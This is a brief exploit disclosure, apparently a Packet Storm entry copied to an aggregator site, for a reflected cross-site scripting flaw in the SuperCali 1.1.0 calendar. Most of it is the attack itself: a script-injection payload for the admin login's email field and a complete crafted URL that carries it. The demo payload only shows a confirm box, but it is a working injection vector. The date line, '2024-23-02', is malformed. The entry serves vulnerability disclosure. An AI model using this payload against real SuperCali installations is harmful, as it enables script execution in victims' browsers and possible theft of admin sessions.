SuperCali 1.1.0 Cross Site Scripting
2024-2-24 08:29:39 Author: packetstormsecurity.com(查看原文) 阅读量:8 收藏
2024-2-24 08:29:39 Author: packetstormsecurity.com(查看原文) 阅读量:8 收藏
# Exploit Title: SuperCali Version : 1.1.0 - Reflected XSS
# Date: 2024-23-02
# Exploit Author: tmrswrr
# Vendor Homepage: https://supercali.inforest.com
# Version : 1.1.0
# Tested on: https://softaculous.com/demos/supercali1 ) Go to admin login url : https://127.0.0.1/SuperCali/login.php
2 ) Write your payload admin place : "><img src=x onerrora=confirm() onerror=confirm(1)>
3 ) AFter click login will you see alert button : https://127.0.0.1/SuperCali/bad_password.php?email=\%22%3E%3Cimg%20src=x%20onerrora=confirm()%20onerror=confirm(1)%3E&return_to=127.0.0.1/&o=4&c=1&m=02&a=22&y=2024&w=1
文章来源: https://packetstormsecurity.com/files/177254/supercali110-xss.txt
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh